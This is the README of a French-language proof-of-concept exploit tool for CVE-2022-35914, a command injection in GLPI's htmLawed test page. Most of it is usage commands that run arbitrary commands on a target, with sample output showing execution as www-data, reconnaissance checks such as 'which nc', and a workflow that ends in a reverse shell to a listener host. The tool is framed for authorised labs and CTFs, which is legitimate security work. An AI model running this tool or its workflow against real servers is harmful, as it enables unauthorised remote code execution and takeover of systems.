CVE-2022-35914 par cyb3rk0ala

PoC pour CVE-2022-35914, une vulnérabilité d'injection de commandes impliquant le composant de test htmLawed dans les installations GLPI vulnérables.

L'outil permet l'exécution de commandes via le point de terminaison vulnérable et inclut une fonctionnalité de rappel optionnelle pour les environnements de laboratoire autorisés.

Avertissement : Ce projet est destiné uniquement aux tests de sécurité autorisés, aux CTF, aux laboratoires OffSec/PG et à des fins éducatives. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Vulnérabilité

Le composant vulnérable peut permettre l'exécution de commandes via des paramètres spécialement conçus sur les installations concernées.

Fonctionnalités

• Exécution de commandes
• Construction automatique de l'URL cible
• Port HTTP cible configurable
• Récupération automatique de session/jeton
• Extraction de la sortie des commandes
• Vérification de la cible
• Prise en charge d'un User-Agent personnalisé
• Configuration de rappel optionnelle
• Sortie terminal en couleur
• Interface CLI Python 3

Prérequis

Python 3 et les dépendances requises.

Kali Linux

sudo apt install python3-requests python3-bs4

Environnement virtuel

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

Installation

Clonez le dépôt :

git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914

Rendez le script exécutable :

chmod +x glpi.py

Utilisation

Aide

python3 glpi.py -h

Exécution de commande de base

python3 glpi.py -u TARGET_IP -c 'id'

Exemple de sortie :

[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php

========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================

Exécution de commandes

L'option -c spécifie la commande à exécuter.

Utilisateur actuel

python3 glpi.py -u TARGET_IP -c 'whoami'

Privilèges actuels

python3 glpi.py -u TARGET_IP -c 'id'

Système d'exploitation

python3 glpi.py -u TARGET_IP -c 'uname -a'

Utilitaires disponibles

python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

Options

Port cible

L'option -p / --rport spécifie le port sur lequel le service web GLPI vulnérable est exécuté.

Défaut :

80

Exemple :

python3 glpi.py -u TARGET_IP -p 80 -c 'id'

Vérification de la cible

Utilisez --check pour vérifier que la page de test htmLawed est disponible sans exécuter de commande :

python3 glpi.py -u TARGET_IP --check

User-Agent personnalisé

Un User-Agent HTTP personnalisé peut être fourni avec :

python3 glpi.py \
    -u TARGET_IP \
    --user-agent 'Mozilla/5.0'

Reverse Shell

Le script prend en charge des paramètres de rappel optionnels :

-l   Callback/listener IP
-lp  Callback/listener port

Exemple :

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

Dans cet exemple :

Target:   TARGET_IP:80
Callback: LHOST:80

Les deux ports ont des finalités différentes :

-p   = Target GLPI HTTP port
-lp  = Callback/listener port

Note sur le laboratoire OffSec

Lors des tests dans un environnement de laboratoire OffSec, le rappel a fonctionné avec succès sur le port TCP 80.

D'autres ports de rappel, comme 4444, peuvent expirer en fonction du réseau du laboratoire et du filtrage du trafic sortant.

Pour l'environnement testé :

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

L'écouteur a été configuré sur l'interface VPN Kali en utilisant le port TCP 80.

Important : L'utilisation du port 80 pour le rappel est une observation spécifique à l'environnement. Ce n'est pas une exigence de CVE-2022-35914.

Dépannage

L'exécution de commandes fonctionne mais pas le rappel

Vérifiez d'abord l'exécution de commandes :

python3 glpi.py -u TARGET_IP -c 'id'

Vérifiez si les utilitaires requis existent :

python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

Si l'exécution de commandes fonctionne mais que le rappel expire, vérifiez le routage VPN et le port de rappel.

La sortie de commande semble incorrecte

Si l'analyse de la sortie de commande échoue, la réponse HTTP complète est enregistrée dans :

/tmp/glpi.html

Inspectez-la avec :

less /tmp/glpi.html

ou :

mousepad /tmp/glpi.html

Exemple de flux de travail

1. Vérifier la cible

python3 glpi.py \
    -u TARGET_IP \
    --check

2. Confirmer l'exécution de commandes

python3 glpi.py \
    -u TARGET_IP \
    -c 'id'

3. Identifier l'utilisateur actuel

python3 glpi.py \
    -u TARGET_IP \
    -c 'whoami'

4. Vérifier les outils disponibles

python3 glpi.py \
    -u TARGET_IP \
    -c 'which nc'

5. Configurer le rappel

Pour l'environnement de laboratoire OffSec testé :

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

Avertissement

Ce projet est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.

L'auteur n'est pas responsable de toute utilisation abusive, de tout dommage, de tout accès non autorisé ou de toute activité illégale impliquant ce logiciel.

Obtenez toujours une autorisation explicite avant de tester un système.

Auteur

cyb3rk0ala

CVE

CVE-2022-35914

Projet

CVE-2022-35914 par cyb3rk0ala